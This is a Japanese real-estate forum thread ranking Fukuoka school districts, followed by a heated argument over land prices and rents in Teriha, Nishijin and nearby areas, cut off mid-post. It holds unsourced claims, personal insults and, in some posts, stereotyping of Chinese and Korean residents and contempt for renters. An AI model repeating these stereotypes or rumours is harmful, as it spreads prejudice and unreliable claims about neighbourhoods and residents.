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検討スレ 住民スレ 物件概要 地図 価格スレ 価格表販売 見学記
匿名さん
[更新日時] 2024-06-16 22:51:19
福岡県は中学校の学区により受験可能な公立高校が原則決まる
福岡市の場合、第4?6の3学区に分かれる
偏差値で言うと其々の頂点は
第4学区 福岡高等学校
第5学区 筑紫丘高等学校
第6学区 修猷館高等学校
と言う風に序列が有り、この3校を総称し御三家と呼ぶ
主に御三家を狙う為に、どの中学校の学区を選ぶのが良いかを示したのが以下。飽くまで主観的な意見である事は御了承下さい
※飽くまで小中学校の学区の話題。過度な高校の序列ネタや大学進学実績データに基づいて話をされたい方はインターエデュのスレッド等で
【第4学区】
照葉、青葉、香椎第二
和白丘、香椎第一、(新宮)
その他、(福津市宗像市の学校の大半、古賀市の一部)
博多、城香(古賀市の一部、糟屋郡)
箱崎、箱崎清松、千代、福岡
(その他…宗像中・高が開校した宗像市内の一部の学校も割と狙い目。早くに小中一貫になった照葉は実績を出し、続いて小中一貫になった住吉にも注目が集まる。博多中の学級崩壊は収束?)
【第5学区】
平尾、高宮(春日野、平野、筑紫野南)
長丘(5学区域)、野間、筑紫丘(市外の大半の学校)
その他
東住吉、春吉、三筑
東光、板付、席田、三宅、曰佐、那珂(那珂川町内)
(その他…平尾は限りなく鉄板に近いが意見が分かれるので保留。春日市の学校は外れが無いと言う評判。大野城・太宰府・筑紫野の戸建も割と良い。住吉中が小中一貫になり今後に注目。)
【第6学区】
百道、高取
原北、姪浜、長丘(6学区域)、友泉、城西(前原東、前原西)
警固、当仁、原中央、玄洋、元岡
その他(糸島市その他)
次郎丸、梅林
田隈、早良、壱岐
(その他…この学区の場合今後に以下だと進学実績が良くても下が酷いパターンも有り合う合わないは注意して入った方が良い。又、学校は落着いていても学力低いパターンの学校も有り。警固、当仁学区は例外も有るが小学校区の評判が結構高い。舞鶴の小中一貫化にも注目。)
【一部本文を削除しました。2019.2.18 管理担当】
[スレ作成日時] 2017-03-16 13:33:57
物件概要
所在地
福岡県福岡市
交通
None
種別
新築マンション
分譲時 価格一覧表(新築)
» サンプル
分譲時の価格表に記載された価格であり、実際の成約価格ではありません。
分譲価格の件数が極めて少ない場合がございます。
一部の物件で、向きやバルコニー面積などの情報に欠損がございます。
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福岡市の小中学校校区スレ part8
11761
マンション検討中さん
2023/12/23 17:41:30
>>11758 名無しさん
東急では126000円。色々あるか平均^20万。
11762
名無しさん
2023/12/23 17:41:30
11763
eマンションさん
2023/12/23 17:46:02
早良区北部みたいに、土着の変な住民がいないから、
西区 西都とか東区香椎照葉とかの新興住宅街のほうが住みやすそう。
11764
マンション検討中さん
2023/12/23 17:46:22
11765
評判気になるさん
2023/12/23 17:50:43
>>11758 名無しさん
私、早良区には居住していません。公示地価ですが福岡市のhpから引いてきた令和5年の価格になります。標準地番号(東-37)香椎照葉2丁目24番182で、12万6千円/m2で正しいです。
11766
マンション掲示板さん
2023/12/23 17:57:16
11767
マンション検討中さん
2023/12/23 17:57:23
11768
eマンションさん
2023/12/23 17:59:02
>>11765 評判気になるさん
それは2023年1月1日の公示地価ですね?
2023年7月1日の基準地価は、
福岡市東区香椎照葉4-4-8 28万7000 円/m2となっています。
11769
eマンションさん
2023/12/23 17:59:33
>>11767 マンション検討中さん
早良区のマンション、結構売れ残ってますね?
11770
マンション検討中さん
2023/12/23 18:00:44
>>11765 評判気になるさん
福岡市のホームページ見たらそうですね。
しかしアイランド安いなあ。
11771
検討板ユーザーさん
2023/12/23 18:03:52
11772
eマンションさん
2023/12/23 18:11:14
11773
マンション掲示板さん
2023/12/23 18:13:53
>>11768 eマンションさん
公示と基準で比較出来るの?半年で地価が2倍に跳ね上がったの?詳しい方教えて
11774
eマンションさん
2023/12/23 18:18:04
>>11773 マンション掲示板さん
早良区民が、「早良区は東区の地価の5?6倍だ!」とか嘘ばかり言うから、数字が出てきただけで、地価で比較するのはそもそも難しいと思いますよ?
11775
eマンションさん
2023/12/23 18:21:19
>>11773 マンション掲示板さん
公示地価は市区町村が1月1日のもの、基準地価は都道府県が7月1日のものを発表します。
2つの公表時期の差から、土地価格の動向を知ることができると言われています。
11776
マンション掲示板さん
2023/12/23 18:36:06
>>11768 eマンションさん
その価格は中古マンションの取引価格の土地区分所有分?じゃないかな。まさか建物込みではないと思うけど。
11777
匿名さん
2023/12/23 19:00:21
>>11768 eマンションさん
>>11768 eマンションさん
商業地域で比較するのはおかしいと思うよ、住居地域どうしで比較すると香椎照葉が低くなる、税金が安く済むってことで
11778
評判気になるさん
2023/12/23 22:12:31
11779
マンション検討中さん
2023/12/24 10:45:56
>>11777 匿名さん
用途地域も含めた条件で西都と香椎照葉を比べて見たら、西都(第一種中高層住専150/60)15万7千に対し、照葉(第二種中高層住専200/60)12万6千です。土地利用の規制が緩く通常は地価が高くなる傾向の第二種の照葉が安いということはそういうことです。
戸建てゾーンも含めなんで二種にしたのか疑問です。
11780
匿名さん
2023/12/24 11:41:01
>>11766 マンション掲示板さん
千早は70万近くしますよ。
もちろん駅周辺の話ですが。
11781
匿名さん
2023/12/24 12:20:31
>>11780 匿名さん
商業地域は住居地域の約2倍になるからね。でも道はさんで土地の固定資産税が倍になるのは理不尽に感じるよね?地価が高くても住民にとっては微妙だよね。
11782
名無しさん
2023/12/24 12:27:17
早良区民が東区の地価の5-6倍と叫んでたのに、全然5-6倍じゃないね?
11783
名無しさん
2023/12/24 12:34:45
11784
評判気になるさん
2023/12/24 12:37:57
>>11782 名無しさん
他人の威を借る人程、自分を実力以上に見せようとする器の小ささ
11785
通りがかりさん
2023/12/24 12:44:55
11786
評判気になるさん
2023/12/24 12:49:56
11787
名無しさん
2023/12/24 12:57:56
11788
評判気になるさん
2023/12/24 13:01:46
11789
名無しさん
2023/12/24 13:06:22
>>11783 名無しさん
照葉に住めないのが悔しいんだね?
どこの古家に住んでるの?
11790
マンション検討中さん
2023/12/24 13:08:17
>>11789 名無しさん
照葉は最低家賃10万はするけど、早良区とか千早のボロいアパートだと、月2万で住める。
11791
マンション掲示板さん
2023/12/24 13:31:01
>>11782 名無しさん
用途地域ごとの公示地価を比べて見たら、倍率は照葉を1.0とします。用途は商業地域、住居地域の順です。
単位は万円/m2
照葉28.7(1.0倍)12.6(1.0倍)
千早61.5(2.1倍)33.5(2.7倍)
西新96.9(3.4倍)56.2(4.5倍)
※百道浜の商業地域の地価不明ゆえに近隣の西新採用
これで終わり、良い勉強になりました
11792
評判気になるさん
2023/12/24 13:31:49
11793
マンション掲示板さん
2023/12/24 14:01:51
>>11783 名無しさん
そのように見られても仕方ありません。
人工島民は毎朝20分バスに乗って千早駅に通っていますから。
11794
口コミ知りたいさん
2023/12/24 14:06:37
>>11790 マンション検討中さん
残念ながら、
ファミリー向けの新築物件の家賃で比べると、
千早と照葉では2倍以上の開きがあります。
11795
匿名さん
2023/12/24 14:19:19
>>11790 マンション検討中さん
こういうトンチンカンな投稿って反論されることで照葉を貶めているよね。もしかして狙ってネガキャンしてる?
11796
名無しさん
2023/12/24 14:51:35
>>11791 マンション掲示板さん
価値ない所に高い金払って住むんだから
資産性なんてケチくさい事言わない
それこそ真の金持ちだよ。
11797
匿名さん
2023/12/24 15:45:36
>>11795 匿名さん
もしかしなくても住民を装ったネガキャンなんだよな。
11798
検討板ユーザーさん
2023/12/24 17:02:54
11799
匿名さん
2023/12/24 17:58:30
11800
匿名さん
2023/12/24 19:48:41
11801
eマンションさん
2023/12/24 20:05:12
11802
検討板ユーザーさん
2023/12/24 21:30:45
おじいちゃん、お薬の時間ですよ。
しかも学区関係ないし。ダメでしょ。
手段選ばないから一時期は災害危険性とか繰り返してたでしょ。ダメじゃない迷惑かけちゃ。
11803
評判気になるさん
2023/12/24 21:33:18
>>11748 マンション比較中さん
ほらだめでしょ、自演に(一部)自分で参考になる押すのも。
11804
口コミ知りたいさん
2023/12/25 08:56:16
>>11800 匿名さん
11791の公示地価の比較へのお問合せと存じます。固定資産税にも関連はしますが、ここでは土地の価値について公の評価を比較したものです。押し並べて、照葉の2.5倍が千早、4倍が西新の地価になるようです。
照葉のマンション購入を考えている方にとっても有意義な情報になればと思います。
11805
マンション検討中さん
2023/12/25 09:06:54
>>11804 さん
公示地価は学力に直結する話かと思えば全然違いそうですね。
標準地が限定的なので参考程度にしかならなくないですかね。西新照葉によってはもっと価値が高いところがあったりしますがここはあくまで学区スレなのでここまでにしておきます。
11806
検討板ユーザーさん
2023/12/25 09:29:09
>>11805 マンション検討中さん
子の学力は親の経済力におおむね比例する傾向があることを踏まえれば地価との相関もあるのでは。
公示地価は取引価格の8割程度と聞きます、かつ標準地の限られた条件ですので個別の取引の価格は分かりませんが、地域の比較は相対値ですので傾向としては正しい評価だと思います。
11807
口コミ知りたいさん
2023/12/25 09:57:32
>>11805 マンション検討中さん
照葉と西新では地価に5~6倍の開きがありますよ。
照葉とよく比較されるのは、新宮や福津です。
11808
名無しさん
2023/12/25 10:09:28
11809
マンション掲示板さん
2023/12/25 10:13:21
>>11807 口コミ知りたいさん
ちょっとスクロールすれば根拠を示して、西新は照葉の4倍ってあるよ。照葉を煽って楽しんでる?かっこ悪いよ。あと新宮や福津にタワマン ないよね。
11810
マンション比較中さん
2023/12/25 10:24:30
西新や千早は古アパートだと家賃月2万で住めるけど、照葉は月10万はするから、どっちがいいかは人によるよね?
11811
マンション比較中さん
2023/12/25 10:27:50
>>11806 検討板ユーザーさん
公立中から県立高校派だと、いろんな家庭の子供がいるので、月2万の古アパートがある地域を避けるのも賢明です。
中学受験できれば、あまり考えなくて良くなりますが、お金がないとできませんね?
11812
マンション検討中さん
2023/12/25 10:32:31
>>11809 マンション掲示板さん
土地の人気度に応じて変わる実勢価格だと、5~6倍以上の差が生じています。
不動産の取引は実勢価格に基づいて行われます。
11813
マンション比較中さん
2023/12/25 10:47:23
>>11812 マンション検討中さん
それって、あなたの感想ですよね?ww
11814
評判気になるさん
2023/12/25 10:50:30
>>11810 マンション比較中さん
反論前提の照葉へのネガキャンして楽しい?
11815
マンション掲示板さん
2023/12/25 10:50:30
11816
マンション比較中さん
2023/12/25 10:52:20
11817
評判気になるさん
2023/12/25 10:53:53
>>11813 マンション比較中さん
感想ではなく認識だね、"ww"は品がないからやめたほうがいいよ
11818
匿名さん
2023/12/25 10:57:10
>>11816 マンション比較中さん
地下鉄駅近くじゃないと住みたくない
11819
通りがかりさん
2023/12/25 10:59:21
>>11812
必死な人と議論する気もないけど、
新興住宅街の地価のみで比較して意味があるのか
土地は安いから、上物にかける費用を増やせるわけで
実際マンションや戸建て全体でみると価格上がってますよ
11820
マンション比較中さん
2023/12/25 11:28:38
>>11817 評判気になるさん
どちらであっても、ロジックではなく主観で話してるんですよね?ww
日本語も怪しい人が品性を語るんですか?
11821
マンション掲示板さん
2023/12/25 11:47:47
>>11819 通りがかりさん
「必死な人」なんて失礼なことを言った上、論点をずらして客観的な評価をぼかして「議論する気はない」ってどういうことでしょう。
おっしゃる通り建物の費用をより多くかけられるのはメリットです。ただ新築の工事費の上昇は地域に限ったことではないようです。中古については表示されている売り値ではなく、売買実績の価格に注目すべきかと思います。
11822
マンション比較中さん
2023/12/25 11:59:57
>>11821 マンション掲示板さん
それでは、比較に耐える「売買実績の価格」をだしてもらっていいですか?
11823
評判気になるさん
2023/12/25 12:02:50
11824
マンション比較中さん
2023/12/25 12:05:13
駅距離、広さ、築年、日照、眺望、道路付け、周囲の嫌悪施設の有無(拘置所、墓地など)といった、不動産価格に影響するパラメータは多岐にわたるのに、主観で比較されてもなんの意味もないんですよ?
11825
マンション比較中さん
2023/12/25 12:05:57
>>11823 評判気になるさん
自分で注目すべきと言って、その数字も出せないなんて、恥ずかしくないですか??
11826
通りがかりさん
2023/12/25 12:10:33
何倍も差があると主張するも、実際の販売価格にその差がなくダンマリ
わかりやすい
11827
マンション掲示板さん
2023/12/25 12:10:38
>>11824 マンション比較中さん
物事の複雑性に気づけない方に何を仰っても無駄だというのが分かりますね…。
11828
マンション比較中さん
2023/12/25 12:14:05
主観が入らない数字として、
家賃が一番安い部屋をスーモで検索すると、
西新アドレスで月2万9000円、香椎照葉アドレスは月9万1000円です。
11829
通りがかりさん
2023/12/25 12:17:13
>>11825 マンション比較中さん
11824さんが述べた様に条件が多岐にわたることからAIでも頼らなければ無理かと思います。
素人の考えた一般論とご理解頂ければ幸いです。
11830
eマンションさん
2023/12/25 12:17:53
>>11828 マンション比較中さん
また西新にも照葉にも住んでないくせに対立煽りしてんのか
11831
マンション検討中さん
2023/12/25 12:21:14
>>11828 マンション比較中さん
その比較に意味がある?わざと照葉を下げないで
11832
匿名さん
2023/12/25 12:23:15
学歴と親の収入には相関があるという根拠で地価の話を出したんだろうけど、
マンションや戸建ての購入費は土地だけではないからなぁ
地価のみと親の収入が必ずしも相関しない時点で無意味な議論、連投の目的が学歴や学区の議論をするためではなさそう
11833
検討板ユーザーさん
2023/12/25 12:24:56
>>11828 マンション比較中さん
残念ながら、条件を同じにして、
ファミリー向けの築浅物件で比較すると、賃料に3倍近い開きがあります。
11834
マンション比較中さん
2023/12/25 12:25:06
>>11828 マンション比較中さん
家賃3万円しか払えない人は、早良区北部は住めますが、香椎照葉は絶対に住めません。
この掲示板で、照葉が!東区が!とずっと騒いでる人の正体がわかりそうですね??
11835
マンション比較中さん
2023/12/25 12:27:42
>>11833 検討板ユーザーさん
同じ条件で3倍近い開きがある、具体的な物件名とかは出せないんでしょう?
あなたの感想ですよね?ww
11836
通りがかりさん
2023/12/25 12:28:10
>>11833
へぇ、照葉で月9万と同じ条件だと西新で月27万前後なんだ、、
素人の考えた一般論といいながら特定の地域を挙げて大変迷惑な方ですね
11837
マンション比較中さん
2023/12/25 12:29:42
具体的な条件も物件名も出せず、5倍だ3倍だ!って言い続けてる人って、早良区北部の古アパート住民ですか?
11838
eマンションさん
2023/12/25 12:32:14
連投してまで特定の地区を下げたいのかそれとも構って欲しいのか。
そろそろなりすましも酷いし西新と照葉の人は法務局にでも言ってこの画面見せてきたらいいよ。
11839
名無しさん
2023/12/25 12:44:56
同じ市内で同じ建物が3倍安く買えるならそっちが良いと思いました笑
教育にたっぷりお金回せますね
通勤、通学利便性などとトレードオフですが
11840
匿名さん
2023/12/25 12:53:49
照葉も照葉だけど、西新なんて学区的には今どき魅力ゼロだろ。西新はいじめ隠匿学区で議論の余地ない。
11841
口コミ知りたいさん
2023/12/25 12:56:37
【第6学区】
高取
教育熱心な学区。中受も多い。
===============================
姪浜、城西、城南、原北、長丘(6学区域)、友泉(前原西)
教育熱心な学区。福岡市内の校区は中受もそれなりにいる。
御三家への進学率も高い。
===============================
警固、当仁、原中央、玄洋、元岡
教育熱心な家庭とのんびりした家庭が混在。
警固、当仁は中受率が高く、公立中進学者の比率が他の校区より低い。
===============================
その他(糸島市その他)
比較的のんびりした普通の学区。学研都市以西は県内では比較的早稲田佐賀へ通いやすい立地
===============================
田隈、早良、壱岐、百道
過去、色々あった学区
百道は教育熱は高いが過去に新聞沙汰になるひどいイジメがあった
【第4学区】
照葉、青葉、香椎第二
教育熱心な学区。中受する人もいるが、駅近エリア以外はやや遠い。
======================================
和白丘、香椎第一、(新宮、粕屋東)
教育熱心な家庭とのんびりした家庭が混在。
======================================
福岡市のその他、(古賀北、福津市宗像市の学校の大半、糟屋郡の大半)
======================================
注意…箱崎、箱崎清松、千代、福岡、城香、博多、(古賀市の一部)
過去、色々あった学区。
高齢化が進み、今は落ち着いているとも。
======================================
照葉、青葉、香椎第二が鉄板。照葉は高取と同等。
【第5学区】
平尾、高宮、(春日野)
高取の次に教育熱心な学区。西鉄沿線で附設にも通いやすい。
=======================================
(平野、筑紫野南、春日東、大野)
教育熱心な学区。御三家への進学率も高い。
福岡市内の私立へはやや遠いが附設は通いやすく、中受する人もいる。
=======================================
長丘(5学区域)、野間、筑紫丘、(福岡市外の大半の学校)
教育熱心な家庭とのんびりした家庭が混在。
=======================================
福岡市内のその他
比較的のんびりした普通の学区
=======================================
東光、板付、席田、三宅、曰佐、那珂、(那珂川市内)
過去、色々あった学区
最近は良くなってきているとの話もある
=======================================
【学区関係なし】
付属中(国立中) 各学区の鉄板より2ランクレベルが上。福岡では附設の次に当たる。
通学可能な範囲に住み、受験して合格したら通える。熱心な家庭しかいない。
11842
マンコミュファンさん
2023/12/25 12:58:00
>>11836 通りがかりさん
落ち着いて、どうして同じ投稿者って思ったの?別の方だよ。思い込みは判断を危うくするよ
11843
通りがかりさん
2023/12/25 13:06:13
>>11839 名無しさん
悪くない判断ですね。"笑"の意味は分かりませんが
11844
掲示板ユーザーさん
2023/12/25 13:29:58
>>11807 口コミ知りたいさん
私なら照葉よりも新宮ですね。
バス通勤もしやすく、利便性が段違いです。
照葉と福津を比べたら、
やっぱり福津は遠いと思います。
11845
名無しさん
2023/12/25 13:35:44
>>11844
3倍さんかな?
あなたの好きな地域より、照葉で車1台と運転手雇った方が経済的負担が少なくバス通勤の必要がなくなる可能性もありますね、、
11846
口コミ知りたいさん
2023/12/25 14:15:05
>>11845 名無しさん
思い込み込みもここまでくると一芸ですね。
バス通勤の新宮と比べて、ハイヤー送迎の照葉が金銭負担が少ない?ハイヤー送迎でバス通勤が不要は当たり前?いろいろと論理がぶっ飛んでますね。
11847
マンション比較中さん
2023/12/25 15:14:08
>>11846 口コミ知りたいさん
本当に家賃が3倍違うならって、皮肉でしょ?
11848
検討板ユーザーさん
2023/12/25 15:43:54
11849
マンコミュファンさん
2023/12/25 15:59:01
11850
検討板ユーザーさん
2023/12/25 16:12:21
>>11847 マンション比較中さん
11845さんの思い込みが話しの行き違いの元ですかね、11844さんは照葉と新宮の比較をされていますよね。新宮の住宅の価格が照葉の3倍だったら成り立つかもしれませんが、まあただのあわてんぼさんですね
11851
マンション比較中さん
2023/12/25 16:47:15
皮肉にも気づかず、指摘されたら必死に言い訳するって、、、
早良区の古いアパートに住んでそうですね?
11852
eマンションさん
2023/12/25 17:05:40
>>11851 マンション比較中さん
どこが皮肉になってるか分かりません。もしかして11845.847.851は同じ方?自分で自分をフォローされてます?
早良区の古いアパートってなんか意味ありますか
11853
名無しさん
2023/12/25 17:50:26
>>11852 eマンションさん
照葉は賃貸と古いアパートにマウント取り出がるんだよな。
11854
評判気になるさん
2023/12/25 18:02:36
住民の層から行くと、新宮のほうが良くも悪くも平和
ほぼ確実に福岡市に電車通勤してる人が住む町だから、住む人の所得が上にも下にもブレが少ない
照葉はサラリーマンもいるけど、通勤不便だから自営業筆頭に車通勤の非リーマン家庭が他地域よりお多いのと、中国人の教育移住や、不便でもどうしても福岡市のアドレスが欲しかったこだわりがある人が一定数いるから色々カオス
11855
マンション比較中さん
2023/12/25 18:16:46
家賃3万円で住めるところと、家賃9万円は払わないと住めないところ、どっちが民度低いかは一目瞭然ですよ?
それでも、屁理屈こねたくなるくらい、貧しいんですよね?
11856
マンション比較中さん
2023/12/25 18:20:35
新宮や西新には、外国の人や自営業者が住めないわけではないですよね?
最低でも家賃9万円払える住民しかいないところと、家賃3万円しか払えない住民がいるところ、どっちがカオスだと思いますか??
11857
匿名さん
2023/12/25 18:27:56
>>11855 マンション比較中さん
なんで疑問文?疑問文だったら問い合わせ先を指定しないと意味が通じないですよ。なんか作文が稚拙
11858
評判気になるさん
2023/12/25 18:30:31
>>11841 口コミ知りたいさん
第4学区では香椎第2だけが鉄板だったよ。
11859
マンコミュファンさん
2023/12/25 18:32:05
11860
マンション検討中さん
2023/12/25 18:34:17
>>11856 マンション比較中さん
なんでマンションスレで賃貸の比較する?分譲マンション価格を比較でいいんじゃない?
11861
匿名さん
2023/12/25 18:41:40
>>11856 マンション比較中さん
西新に外国の方が住んでいない(住めない)なんて書かれていないけど、頭から早良区が離れないようですね。
それから家賃9万円を呪文のように唱えていますが、あんまり参考になりません。
11862
名無しさん
2023/12/25 18:57:22
またいつもの文末ハテナさん来てる!
独特の文末使うからすぐバレる
照葉上げに見せかけた照葉下げ工作ご苦労さま
照葉のイメージが悪い自分ですら、照葉がかわいそうに思えるレベル
11863
匿名さん
2023/12/25 19:01:05
11864
検討板ユーザーさん
2023/12/25 19:26:06
>>11854 評判気になるさん
それはありますね。
照葉は自営業者が多いので合う合わないが大きいと思います。
新宮の方が総合的に環境面が良いと思います。
11865
eマンションさん
2023/12/25 19:26:52
11866
通りがかりさん
2023/12/25 19:37:14
>>11865 eマンションさん
安い分譲マンションしか買えない照葉民も。
11867
匿名さん
2023/12/25 19:48:18
>>11865 eマンションさん
文末はてなさん、バレてるよ
そこはさ、はてな使わないのよ、普通のニホンジンは。
11868
マンション検討中さん
2023/12/25 19:54:15
11869
匿名さん
2023/12/25 19:55:00
>>11867 匿名さん
照葉が!東区が!と騒ぎ出す人のことが不思議でしたが、家賃9万円払えないアパート民からみると、妬ましくて仕方ないですよね?
自分は絶対に住めないところの、文句言い続けてるって惨めじゃないですか?
11870
検討板ユーザーさん
2023/12/25 19:56:09
>>11868 マンション検討中さん
オラオラ系でも、家賃9万円払えないアパート民より、社会的評価は高いですよ?
11871
eマンションさん
2023/12/25 20:03:32
スーモで一番安い中古マンションを調べてみると、
西新アドレス790万円
千早アドレス990万円
香椎照葉アドレス2680万円
です。
照葉が!と粘着している人の正体がわかりそうですね?
11872
eマンションさん
2023/12/25 20:10:22
>>11854 評判気になるさん
新宮はもともと工場がたくさんある土地柄なので、昔から住んでる人の所得はそれほど高くないです。
11873
口コミ知りたいさん
2023/12/25 20:27:24
11874
eマンションさん
2023/12/25 21:05:34
>>11871 eマンションさん
照葉では失敗に気づいて2~3年で手放す人が相次いでいます。
住宅ローン完済のために異常な高値で売りに出していますが、まったく売れる気配がありませんね。
ほぼ新築の築浅物件だらけですが、ほとんどがさらし物になっています。
11875
eマンションさん
2023/12/25 21:06:20
>>11871 eマンションさん
照葉では失敗に気づいて2~3年で手放す人が相次いでいます。
住宅ローン完済のために異常な高値で売りに出していますが、まったく売れる気配がありませんね。
ほぼ新築の築浅物件だらけですが、ほとんどが「さらし物件」になっています。
11876
eマンションさん
2023/12/25 21:07:06
11877
eマンションさん
2023/12/25 21:08:28
>>11874 eマンションさん
照葉で売物件出してる人に理由を聞いて回ったんですか?ww
11878
評判気になるさん
2023/12/25 21:24:11
>>11873 口コミ知りたいさん
照葉は築浅でも安いマンションしかないから
11879
評判気になるさん
2023/12/25 21:25:59
学区以外で盛り上がるそもそも学区に興味がない人ばかり
迷惑だから価格競争は別でやってくれないかな
何年も前から異常な執拗さ
11880
マンコミュファンさん
2023/12/25 21:30:40
>>11879 評判気になるさん
価格は中央区 が高くて東区、南区が安いけど照葉民は価格じゃなくて家賃9万円が誇らしいみたい。
11881
評判気になるさん
2023/12/25 21:36:24
>>11880 マンコミュファンさん
コイツが一番迷惑だから
照葉のスレで暴れとけよ
11882
口コミ知りたいさん
2023/12/25 21:36:44
無知な知ったかぶりが自分は正しいと言わんばかりに他人を貶める。もうやめようよ、住民の人に質問したいさん。
11883
マンコミュファンさん
2023/12/25 22:29:22
11884
検討板ユーザーさん
2023/12/25 23:34:23
こういうみっともない人間性を作り出しちゃうのが早良区です。
気をつけましょう。
地元の人でお金に余裕あるなら埋め立て当初から陸の孤島と言われてた照葉なんて誰も見てないわ。
元から買い漁ってたのは事情を知らないIターン組か中華勢でしょ。
11885
周辺住民さん
2023/12/26 00:12:29
照葉には中国人と韓国人の方たちがたくさん住んでいます。
在日韓国朝鮮人の方たちはもともと博多駅周辺に集まっていたのですけどね。
11886
匿名さん
2023/12/26 00:37:21
11887
口コミ知りたいさん
2023/12/26 07:03:43
>>11886 匿名さん
クリスマスの予定がマンコミュでストレス発散の方が恥ずかしいのも気づかないという
11888
通りがかりさん
2023/12/26 07:20:57
11889
マンコミュファンさん
2023/12/26 07:41:34
11890
マンコミュファンさん
2023/12/26 07:44:45
11891
口コミ知りたいさん
2023/12/26 07:45:07
11892
通りがかりさん
2023/12/26 08:11:22
西新の方がマンションの価格も高いし、売れ行きもいいのは現実。あとは好みと予算の問題。
11893
匿名さん
2023/12/26 09:20:25
>>11885 周辺住民さん
照葉で塾してた方が
チャイナ系は本当クレーマー気質で常識が通じなくて大変だからって博多区に移転してた。
今は博多駅前にチャイナ系コリア系は少ないが
帰国子女はチラホラいる。
それなりになんでもあるが当然、経済的にも余裕がないと住んでも楽しくないのは確か。
11894
通りがかりさん
2023/12/26 09:20:39
11895
マンコミュファンさん
2023/12/26 09:35:58
1年前から住んだこともない人が同じ会話を繰り返し繰り返しやってるんだよな。
11896
マンション比較中さん
2023/12/26 09:35:59
>>11893 匿名さん
チャイナ系の生徒が嫌なら、移転できるくらい小さな塾なんだから、入塾を断ればいいだけでは?
11897
マンション比較中さん
2023/12/26 09:36:37
自分には住めないからって、照葉ディスは見苦しいなあ。
11898
マンション比較中さん
2023/12/26 09:40:24
香椎照葉アドレスと同じように、安アパートがなさそうな百道浜アドレスをスーモで調べてみました。
最低家賃7万3500円(4万1500円の物件も出てきますが、百道浜と百道の誤記のようです。)
最安中古マンション3980万円
となっています。
11899
マンション比較中さん
2023/12/26 09:43:46
百道浜も香椎照葉も月3万円では住めない場所なので、
百道浜小学校か照葉(北)小学校から中学受験というのが、悪くない選択肢のようです。
11900
マンコミュファンさん
2023/12/26 09:44:51
>>11897 マンション比較中さん
住みたい前提なのがすごいね。
お金出されても不便なところに住みたくないよ。
11901
マンコミュファンさん
2023/12/26 09:46:58
>>11896 マンション比較中さん
規模は分かりませんが先生は数名雇ってたみたいですよ
私は照葉住みではないし
別のお教室(塾ではない)で知り合った方なので根掘り葉掘りは聞けません。
11902
マンション比較中さん
2023/12/26 09:47:06
>>11900 マンコミュファンさん
人間、興味がないぶどうに、必死に悪口言ったりしないんですよ?
11903
マンション比較中さん
2023/12/26 09:48:11
>>11901 マンコミュファンさん
先生数名雇っていたとしたら、それなりに生徒もいただろうに、すべて見捨てて移転したんですか?
11904
マンション掲示板さん
2023/12/26 09:50:30
>>11902 マンション比較中さん
住みたい前提で会話が成立していくのはおかしいから仕方ない。
悪口なの?私からしたら事実をいっただけだよ
被害妄想よ
それでも魅力的に感じてる人もいるんだから住めばいい。
11905
匿名さん
2023/12/26 09:54:08
福工大前の駅近マンションは即完売
照葉のマンションは完成後も売れ残ることが多々
きちんと比較してないけど、照葉のほうが値段設定ガ強気なのかな?
和白丘中は落ち着いた良学区だし、駅も近いし、同じ値段払うならこっちに住むって人が多いんだろうなと察した
設備や教育環境は照葉のほうが上なんだろうけど
11906
マンション比較中さん
2023/12/26 09:57:19
>>11905 匿名さん
単純に値付けの問題じゃないですか?
首都圏の住友不動産 の物件は、強気の値段で、完工後も販売していることがよくありますが、いずれも人気物件です。
地方中小ディベロッパーだと、資金に余裕がないから、どうしても売れ残りがない値段で勝負せざるをえません。
11907
マンション掲示板さん
2023/12/26 09:59:34
>>11903 さん
移転ですから見捨てたにはならないのでは
それでも通いたい人は博多区へ通えばいいだけですよね。
無理だと思うなら通わなければ良いだけ。
塾なんていくらでもあるし、どこに価値を見出すかなだけかと。
英進館の天神校だって遠くから生徒来てますよ。
11908
マンション比較中さん
2023/12/26 10:02:21
>>11907 マンション掲示板さん
先生数人いるような塾だと、ホームページくらいあると思うのですが、そんな塾ないですよ?
11909
通りがかりさん
2023/12/26 10:12:00
>>11908 マンション比較中さん
ずっと自分で参考になる!
おしてご苦労様ですね。
ホームページがあるかないかは知らないです。
11910
マンション比較中さん
2023/12/26 10:13:44
>>11909 通りがかりさん
妬ましいからって、嘘ばかりついて恥ずかしくないですか?
11911
評判気になるさん
2023/12/26 10:15:22
>>11910 マンション比較中さん
人より良い暮らしして日中でも暇すぎてこんなところにいるんで
何も人を羨ましいと思う事ないけど
どうしましたか?
11912
マンション検討中さん
2023/12/26 10:18:42
>>11910 マンション比較中さん
あと、私の話ではないし
根掘り葉掘り聞かないよね
お教室友達のホームページがあるかなんて暇だけど調べたこともないよ。
贈り物の値段も調べるタイプ?
常識的に考えて調べないでしょ。
粗探しがしつこすぎる。
11913
口コミ知りたいさん
2023/12/26 10:37:59
>>11905 匿名さん
私も生活環境は和白の方が圧倒的に良いと思います。
照葉は積水ハウス がつくっているということで強気の価格設定なのでしょうね。
たしかに建物はいいです。
それなら和白に土地を買って積水で建てればとも思いますが。
11914
名無しさん
2023/12/26 11:03:36
>>11913 口コミ知りたいさん
アイランドシティというブランド化が宣伝、啓蒙活動によって成功した結果が価格に反映されています。
実際、環境の整備がなされブランドに見合った街になっています。今後はブランド維持の為に住民による清掃活動など主体的な環境整備が必要になるかと思います。
11915
マンション検討中さん
2023/12/26 11:27:33
>>11914 さん
上がり方が急激だったよね
10年前は新宮から和白界隈のマンション群と変わらない値付けだったけど、ここ数年周辺に比して凄い値上がり
ただ、売れ行きは変わってないし、中古がたくさんなのも変わってない
高めの値段を敢えてつけて、ブランド化をはかってるのかね??
11916
通りがかりさん
2023/12/26 11:33:12
>>11912
根拠もないのに適当なことを書き込み続けているからツッコミが止まないのではないでしょうか笑
いつまでやるのか
11917
マンコミュファンさん
2023/12/26 11:44:48
11918
通りがかりさん
2023/12/26 11:48:50
ここは民度が低いね
福岡らしさを物語ってる
流石、修羅の国
特にレベルの低いことをダラダラと続けて
そりゃ子供も御三家にすら行けないよ
御三家の話になると事実とはかけ離れてる情報も多いし
聞いた話ばかり
結局中身のある会話ができる場所ではないってことですね。
11919
通りがかりさん
2023/12/26 11:51:51
>>11916 通りがかりさん
根拠もないのにって他人の話なのにね。
ホームページがないなんて検索するのが凄いわ
福岡の人間は粘着質。
11920
通りがかりさん
2023/12/26 12:03:13
>>11915 マンション検討中さん
ブランド化で割高になって、販売の自由度を狭めている感じですね。中古マンションも損切りして売り抜けるのも難しそうだね。
11921
通りがかりさん
2023/12/26 12:03:21
>>11919
いや、だから友達からの伝聞を披露してくれたのはわかるんだけど、
客観性に乏しくて議論するに値しないというか、
